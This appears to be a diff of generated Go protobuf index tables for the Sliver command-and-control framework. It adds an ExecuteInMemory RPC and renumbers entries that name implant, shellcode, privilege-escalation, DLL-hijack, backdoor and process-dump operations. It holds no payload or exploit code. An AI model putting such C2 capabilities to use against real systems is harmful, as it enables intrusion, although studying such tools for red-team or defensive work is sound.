-	(*clientpb.ImplantBuilds)(nil),            // 118: clientpb.ImplantBuilds
-	(*clientpb.Canaries)(nil),                 // 119: clientpb.Canaries
-	(*clientpb.WGClientConfig)(nil),           // 120: clientpb.WGClientConfig
-	(*clientpb.UniqueWGIP)(nil),               // 121: clientpb.UniqueWGIP
-	(*clientpb.ImplantProfiles)(nil),          // 122: clientpb.ImplantProfiles
-	(*clientpb.MsfStager)(nil),                // 123: clientpb.MsfStager
-	(*clientpb.ShellcodeRDI)(nil),             // 124: clientpb.ShellcodeRDI
-	(*clientpb.Compiler)(nil),                 // 125: clientpb.Compiler
-	(*clientpb.ShellcodeEncode)(nil),          // 126: clientpb.ShellcodeEncode
-	(*clientpb.ShellcodeEncoderMap)(nil),      // 127: clientpb.ShellcodeEncoderMap
-	(*clientpb.Websites)(nil),                 // 128: clientpb.Websites
-	(*sliverpb.Ps)(nil),                       // 129: sliverpb.Ps
-	(*sliverpb.Terminate)(nil),                // 130: sliverpb.Terminate
-	(*sliverpb.Ifconfig)(nil),                 // 131: sliverpb.Ifconfig
-	(*sliverpb.Netstat)(nil),                  // 132: sliverpb.Netstat
-	(*sliverpb.Ls)(nil),                       // 133: sliverpb.Ls
-	(*sliverpb.Pwd)(nil),                      // 134: sliverpb.Pwd
-	(*sliverpb.Mv)(nil),                       // 135: sliverpb.Mv
-	(*sliverpb.Rm)(nil),                       // 136: sliverpb.Rm
-	(*sliverpb.Mkdir)(nil),                    // 137: sliverpb.Mkdir
-	(*sliverpb.Download)(nil),                 // 138: sliverpb.Download
-	(*sliverpb.Upload)(nil),                   // 139: sliverpb.Upload
-	(*sliverpb.ProcessDump)(nil),              // 140: sliverpb.ProcessDump
-	(*sliverpb.RunAs)(nil),                    // 141: sliverpb.RunAs
-	(*sliverpb.Impersonate)(nil),              // 142: sliverpb.Impersonate
-	(*sliverpb.RevToSelf)(nil),                // 143: sliverpb.RevToSelf
-	(*sliverpb.GetSystem)(nil),                // 144: sliverpb.GetSystem
-	(*sliverpb.Task)(nil),                     // 145: sliverpb.Task
-	(*sliverpb.ExecuteAssembly)(nil),          // 146: sliverpb.ExecuteAssembly
-	(*sliverpb.Migrate)(nil),                  // 147: sliverpb.Migrate
-	(*sliverpb.Execute)(nil),                  // 148: sliverpb.Execute
-	(*sliverpb.Sideload)(nil),                 // 149: sliverpb.Sideload
-	(*sliverpb.SpawnDll)(nil),                 // 150: sliverpb.SpawnDll
-	(*sliverpb.Screenshot)(nil),               // 151: sliverpb.Screenshot
-	(*sliverpb.CurrentTokenOwner)(nil),        // 152: sliverpb.CurrentTokenOwner
-	(*sliverpb.PivotListener)(nil),            // 153: sliverpb.PivotListener
-	(*sliverpb.PivotListeners)(nil),           // 154: sliverpb.PivotListeners
-	(*clientpb.PivotGraph)(nil),               // 155: clientpb.PivotGraph
-	(*sliverpb.ServiceInfo)(nil),              // 156: sliverpb.ServiceInfo
-	(*sliverpb.MakeToken)(nil),                // 157: sliverpb.MakeToken
-	(*sliverpb.EnvInfo)(nil),                  // 158: sliverpb.EnvInfo
-	(*sliverpb.SetEnv)(nil),                   // 159: sliverpb.SetEnv
-	(*sliverpb.UnsetEnv)(nil),                 // 160: sliverpb.UnsetEnv
-	(*sliverpb.Backdoor)(nil),                 // 161: sliverpb.Backdoor
-	(*sliverpb.RegistryRead)(nil),             // 162: sliverpb.RegistryRead
-	(*sliverpb.RegistryWrite)(nil),            // 163: sliverpb.RegistryWrite
-	(*sliverpb.RegistryCreateKey)(nil),        // 164: sliverpb.RegistryCreateKey
-	(*sliverpb.RegistryDeleteKey)(nil),        // 165: sliverpb.RegistryDeleteKey
-	(*sliverpb.RegistrySubKeyList)(nil),       // 166: sliverpb.RegistrySubKeyList
-	(*sliverpb.RegistryValuesList)(nil),       // 167: sliverpb.RegistryValuesList
-	(*sliverpb.SSHCommand)(nil),               // 168: sliverpb.SSHCommand
-	(*clientpb.DllHijack)(nil),                // 169: clientpb.DllHijack
-	(*sliverpb.GetPrivs)(nil),                 // 170: sliverpb.GetPrivs
-	(*sliverpb.RportFwdListener)(nil),         // 171: sliverpb.RportFwdListener
-	(*sliverpb.RportFwdListeners)(nil),        // 172: sliverpb.RportFwdListeners
-	(*sliverpb.RegisterExtension)(nil),        // 173: sliverpb.RegisterExtension
-	(*sliverpb.CallExtension)(nil),            // 174: sliverpb.CallExtension
-	(*sliverpb.ListExtensions)(nil),           // 175: sliverpb.ListExtensions
-	(*sliverpb.WGPortForward)(nil),            // 176: sliverpb.WGPortForward
-	(*sliverpb.WGSocks)(nil),                  // 177: sliverpb.WGSocks
-	(*sliverpb.WGTCPForwarders)(nil),          // 178: sliverpb.WGTCPForwarders
-	(*sliverpb.WGSocksServers)(nil),           // 179: sliverpb.WGSocksServers
-	(*sliverpb.Shell)(nil),                    // 180: sliverpb.Shell
-	(*sliverpb.Portfwd)(nil),                  // 181: sliverpb.Portfwd
+	(*sliverpb.ExecuteInMemoryReq)(nil),       // 93: sliverpb.ExecuteInMemoryReq
+	(*sliverpb.ShellReq)(nil),                 // 94: sliverpb.ShellReq
+	(*sliverpb.PortfwdReq)(nil),               // 95: sliverpb.PortfwdReq
+	(*sliverpb.Socks)(nil),                    // 96: sliverpb.Socks
+	(*sliverpb.SocksData)(nil),                // 97: sliverpb.SocksData
+	(*sliverpb.Tunnel)(nil),                   // 98: sliverpb.Tunnel
+	(*sliverpb.TunnelData)(nil),               // 99: sliverpb.TunnelData
+	(*clientpb.Version)(nil),                  // 100: clientpb.Version
+	(*clientpb.Operators)(nil),                // 101: clientpb.Operators
+	(*sliverpb.Reconfigure)(nil),              // 102: sliverpb.Reconfigure
+	(*clientpb.Sessions)(nil),                 // 103: clientpb.Sessions
+	(*clientpb.Beacons)(nil),                  // 104: clientpb.Beacons
+	(*clientpb.BeaconTasks)(nil),              // 105: clientpb.BeaconTasks
+	(*commonpb.Response)(nil),                 // 106: commonpb.Response
+	(*clientpb.Jobs)(nil),                     // 107: clientpb.Jobs
+	(*clientpb.KillJob)(nil),                  // 108: clientpb.KillJob
+	(*clientpb.MTLSListener)(nil),             // 109: clientpb.MTLSListener
+	(*clientpb.WGListener)(nil),               // 110: clientpb.WGListener
+	(*clientpb.DNSListener)(nil),              // 111: clientpb.DNSListener
+	(*clientpb.HTTPListener)(nil),             // 112: clientpb.HTTPListener
+	(*clientpb.StagerListener)(nil),           // 113: clientpb.StagerListener
+	(*clientpb.AllLoot)(nil),                  // 114: clientpb.AllLoot
+	(*clientpb.AllHosts)(nil),                 // 115: clientpb.AllHosts
+	(*clientpb.Generate)(nil),                 // 116: clientpb.Generate
+	(*clientpb.ExternalImplantConfig)(nil),    // 117: clientpb.ExternalImplantConfig
+	(*clientpb.Builders)(nil),                 // 118: clientpb.Builders
+	(*clientpb.ImplantBuilds)(nil),            // 119: clientpb.ImplantBuilds
+	(*clientpb.Canaries)(nil),                 // 120: clientpb.Canaries
+	(*clientpb.WGClientConfig)(nil),           // 121: clientpb.WGClientConfig
+	(*clientpb.UniqueWGIP)(nil),               // 122: clientpb.UniqueWGIP
+	(*clientpb.ImplantProfiles)(nil),          // 123: clientpb.ImplantProfiles
+	(*clientpb.MsfStager)(nil),                // 124: clientpb.MsfStager
+	(*clientpb.ShellcodeRDI)(nil),             // 125: clientpb.ShellcodeRDI
+	(*clientpb.Compiler)(nil),                 // 126: clientpb.Compiler
+	(*clientpb.ShellcodeEncode)(nil),          // 127: clientpb.ShellcodeEncode
+	(*clientpb.ShellcodeEncoderMap)(nil),      // 128: clientpb.ShellcodeEncoderMap
+	(*clientpb.Websites)(nil),                 // 129: clientpb.Websites
+	(*sliverpb.Ps)(nil),                       // 130: sliverpb.Ps
+	(*sliverpb.Terminate)(nil),                // 131: sliverpb.Terminate
+	(*sliverpb.Ifconfig)(nil),                 // 132: sliverpb.Ifconfig
+	(*sliverpb.Netstat)(nil),                  // 133: sliverpb.Netstat
+	(*sliverpb.Ls)(nil),                       // 134: sliverpb.Ls
+	(*sliverpb.Pwd)(nil),                      // 135: sliverpb.Pwd
+	(*sliverpb.Mv)(nil),                       // 136: sliverpb.Mv
+	(*sliverpb.Rm)(nil),                       // 137: sliverpb.Rm
+	(*sliverpb.Mkdir)(nil),                    // 138: sliverpb.Mkdir
+	(*sliverpb.Download)(nil),                 // 139: sliverpb.Download
+	(*sliverpb.Upload)(nil),                   // 140: sliverpb.Upload
+	(*sliverpb.ProcessDump)(nil),              // 141: sliverpb.ProcessDump
+	(*sliverpb.RunAs)(nil),                    // 142: sliverpb.RunAs
+	(*sliverpb.Impersonate)(nil),              // 143: sliverpb.Impersonate
+	(*sliverpb.RevToSelf)(nil),                // 144: sliverpb.RevToSelf
+	(*sliverpb.GetSystem)(nil),                // 145: sliverpb.GetSystem
+	(*sliverpb.Task)(nil),                     // 146: sliverpb.Task
+	(*sliverpb.ExecuteAssembly)(nil),          // 147: sliverpb.ExecuteAssembly
+	(*sliverpb.Migrate)(nil),                  // 148: sliverpb.Migrate
+	(*sliverpb.Execute)(nil),                  // 149: sliverpb.Execute
+	(*sliverpb.Sideload)(nil),                 // 150: sliverpb.Sideload
+	(*sliverpb.SpawnDll)(nil),                 // 151: sliverpb.SpawnDll
+	(*sliverpb.Screenshot)(nil),               // 152: sliverpb.Screenshot
+	(*sliverpb.CurrentTokenOwner)(nil),        // 153: sliverpb.CurrentTokenOwner
+	(*sliverpb.PivotListener)(nil),            // 154: sliverpb.PivotListener
+	(*sliverpb.PivotListeners)(nil),           // 155: sliverpb.PivotListeners
+	(*clientpb.PivotGraph)(nil),               // 156: clientpb.PivotGraph
+	(*sliverpb.ServiceInfo)(nil),              // 157: sliverpb.ServiceInfo
+	(*sliverpb.MakeToken)(nil),                // 158: sliverpb.MakeToken
+	(*sliverpb.EnvInfo)(nil),                  // 159: sliverpb.EnvInfo
+	(*sliverpb.SetEnv)(nil),                   // 160: sliverpb.SetEnv
+	(*sliverpb.UnsetEnv)(nil),                 // 161: sliverpb.UnsetEnv
+	(*sliverpb.Backdoor)(nil),                 // 162: sliverpb.Backdoor
+	(*sliverpb.RegistryRead)(nil),             // 163: sliverpb.RegistryRead
+	(*sliverpb.RegistryWrite)(nil),            // 164: sliverpb.RegistryWrite
+	(*sliverpb.RegistryCreateKey)(nil),        // 165: sliverpb.RegistryCreateKey
+	(*sliverpb.RegistryDeleteKey)(nil),        // 166: sliverpb.RegistryDeleteKey
+	(*sliverpb.RegistrySubKeyList)(nil),       // 167: sliverpb.RegistrySubKeyList
+	(*sliverpb.RegistryValuesList)(nil),       // 168: sliverpb.RegistryValuesList
+	(*sliverpb.SSHCommand)(nil),               // 169: sliverpb.SSHCommand
+	(*clientpb.DllHijack)(nil),                // 170: clientpb.DllHijack
+	(*sliverpb.GetPrivs)(nil),                 // 171: sliverpb.GetPrivs
+	(*sliverpb.RportFwdListener)(nil),         // 172: sliverpb.RportFwdListener
+	(*sliverpb.RportFwdListeners)(nil),        // 173: sliverpb.RportFwdListeners
+	(*sliverpb.RegisterExtension)(nil),        // 174: sliverpb.RegisterExtension
+	(*sliverpb.CallExtension)(nil),            // 175: sliverpb.CallExtension
+	(*sliverpb.ListExtensions)(nil),           // 176: sliverpb.ListExtensions
+	(*sliverpb.WGPortForward)(nil),            // 177: sliverpb.WGPortForward
+	(*sliverpb.WGSocks)(nil),                  // 178: sliverpb.WGSocks
+	(*sliverpb.WGTCPForwarders)(nil),          // 179: sliverpb.WGTCPForwarders
+	(*sliverpb.WGSocksServers)(nil),           // 180: sliverpb.WGSocksServers
+	(*sliverpb.Shell)(nil),                    // 181: sliverpb.Shell
+	(*sliverpb.Portfwd)(nil),                  // 182: sliverpb.Portfwd
 }
 var file_rpcpb_services_proto_depIdxs = []int32{
 	0,   // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -843,150 +848,152 @@ var file_rpcpb_services_proto_depIdxs = []int32{
 	90,  // 121: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
 	91,  // 122: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
 	92,  // 123: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
-	93,  // 124: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
-	94,  // 125: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
-	95,  // 126: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
-	95,  // 127: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
-	96,  // 128: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
-	97,  // 129: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
-	97,  // 130: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
-	98,  // 131: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
-	0,   // 132: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
-	99,  // 133: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
-	100, // 134: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
-	0,   // 135: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
-	101, // 136: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
-	0,   // 137: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
-	102, // 138: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
-	103, // 139: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
-	4,   // 140: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
-	0,   // 141: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
-	104, // 142: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
-	5,   // 143: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
-	5,   // 144: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
-	105, // 145: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
-	0,   // 146: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
-	106, // 147: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
-	107, // 148: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
-	108, // 149: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
-	109, // 150: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
-	110, // 151: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
-	111, // 152: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
-	111, // 153: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
-	112, // 154: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
-	112, // 155: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
-	12,  // 156: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
-	0,   // 157: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
-	12,  // 158: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
-	12,  // 159: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
-	113, // 160: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
-	113, // 161: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
-	114, // 162: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
-	13,  // 163: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
-	0,   // 164: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
-	0,   // 165: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
-	115, // 166: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
-	116, // 167: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
-	0,   // 168: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
-	116, // 169: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
-	20,  // 170: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
-	0,   // 171: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
-	117, // 172: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
-	115, // 173: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
-	118, // 174: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
-	0,   // 175: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
-	119, // 176: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
-	120, // 177: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
-	121, // 178: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
-	122, // 179: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
-	0,   // 180: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
-	23,  // 181: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
-	123, // 182: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
-	124, // 183: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
-	125, // 184: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
-	126, // 185: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
-	127, // 186: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
-	128, // 187: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
-	27,  // 188: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
-	0,   // 189: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
-	27,  // 190: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
-	27,  // 191: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
-	27,  // 192: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
-	30,  // 193: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
-	129, // 194: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
-	130, // 195: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
-	131, // 196: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
-	132, // 197: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
-	133, // 198: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
-	134, // 199: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
-	134, // 200: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
-	135, // 201: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
-	136, // 202: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
-	137, // 203: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
-	138, // 204: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
-	139, // 205: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
-	140, // 206: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
-	141, // 207: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
-	142, // 208: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
-	143, // 209: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
-	144, // 210: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
-	145, // 211: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
-	145, // 212: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
-	145, // 213: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
-	146, // 214: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
-	147, // 215: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
-	148, // 216: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
-	148, // 217: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
-	149, // 218: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
-	150, // 219: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
-	151, // 220: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
-	152, // 221: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
-	153, // 222: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
-	0,   // 223: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
-	154, // 224: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
-	155, // 225: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
-	156, // 226: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
-	156, // 227: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
-	156, // 228: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
-	157, // 229: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
-	158, // 230: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
-	159, // 231: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
-	160, // 232: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
-	161, // 233: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
-	162, // 234: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
-	163, // 235: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
-	164, // 236: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
-	165, // 237: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
-	166, // 238: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
-	167, // 239: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
-	168, // 240: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
-	169, // 241: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
-	170, // 242: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
-	171, // 243: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
-	172, // 244: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
-	171, // 245: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
-	82,  // 246: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
-	0,   // 247: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
-	173, // 248: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
-	174, // 249: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
-	175, // 250: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
-	176, // 251: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
-	176, // 252: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
-	177, // 253: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
-	177, // 254: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
-	178, // 255: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
-	179, // 256: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
-	180, // 257: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
-	181, // 258: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
-	95,  // 259: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
-	0,   // 260: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
-	96,  // 261: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
-	97,  // 262: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
-	0,   // 263: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
-	98,  // 264: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
-	20,  // 265: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
-	133, // [133:266] is the sub-list for method output_type
-	0,   // [0:133] is the sub-list for method input_type
+	93,  // 124: rpcpb.SliverRPC.ExecuteInMemory:input_type -> sliverpb.ExecuteInMemoryReq
+	94,  // 125: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
+	95,  // 126: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
+	96,  // 127: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
+	96,  // 128: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
+	97,  // 129: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
+	98,  // 130: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
+	98,  // 131: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
+	99,  // 132: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
+	0,   // 133: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
+	100, // 134: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
+	101, // 135: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
+	0,   // 136: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
+	102, // 137: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
+	0,   // 138: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
+	103, // 139: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
+	104, // 140: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
+	4,   // 141: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
+	0,   // 142: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
+	105, // 143: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
+	5,   // 144: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
+	5,   // 145: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
+	106, // 146: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
+	0,   // 147: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
+	107, // 148: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
+	108, // 149: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
+	109, // 150: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
+	110, // 151: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
+	111, // 152: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
+	112, // 153: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
+	112, // 154: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
+	113, // 155: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
+	113, // 156: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
+	12,  // 157: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
+	0,   // 158: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
+	12,  // 159: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
+	12,  // 160: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
+	114, // 161: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
+	114, // 162: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
+	115, // 163: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
+	13,  // 164: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
+	0,   // 165: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
+	0,   // 166: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
+	116, // 167: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
+	117, // 168: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
+	0,   // 169: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
+	117, // 170: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
+	20,  // 171: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
+	0,   // 172: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
+	118, // 173: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
+	116, // 174: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
+	119, // 175: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
+	0,   // 176: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
+	120, // 177: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
